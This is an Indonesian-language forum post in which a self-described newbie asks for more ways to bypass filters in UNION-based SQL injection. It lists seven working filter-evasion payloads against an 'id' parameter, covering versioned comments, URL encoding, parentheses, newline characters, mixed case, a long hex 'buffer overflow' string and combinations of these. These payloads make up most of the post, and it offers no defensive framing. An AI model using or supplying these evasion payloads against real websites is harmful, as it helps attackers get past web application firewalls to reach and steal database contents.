Page 1 of 1

Tanya - Bypass Sql Injection Manual (Union Based)

Posted: Tue Apr 01, 2014 3:26 pm
by m4rl0h
salam kenal semuanya
saya newbie
saya mau tanya kepada para master semua tentang sql injection union based
apakah ada teknik lain untuk membypass union select selain cara di bawah:

contoh:
id=-1 /*!union*/ /*!select*/ 1 ~~~~ c style comment
id=-1 %75nion %73select 1 ~~~ Url Code atau double Url Code
id=(-1)union(select+(1)) ~~~ Pake Kurung
id=-1%0aunion%0aselect%0a1 ~~~ new line, dkk
id=-1 UniOn SelEct 1 ~~~ huruf besar kecil
id=-1+and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)Union select 1 ~~~ Buffer Overflow
id=-1 (gabungan dari cara-cara diatas)

apakah masih ada cara atau teknik lain?

sebelumnya terima kasih :D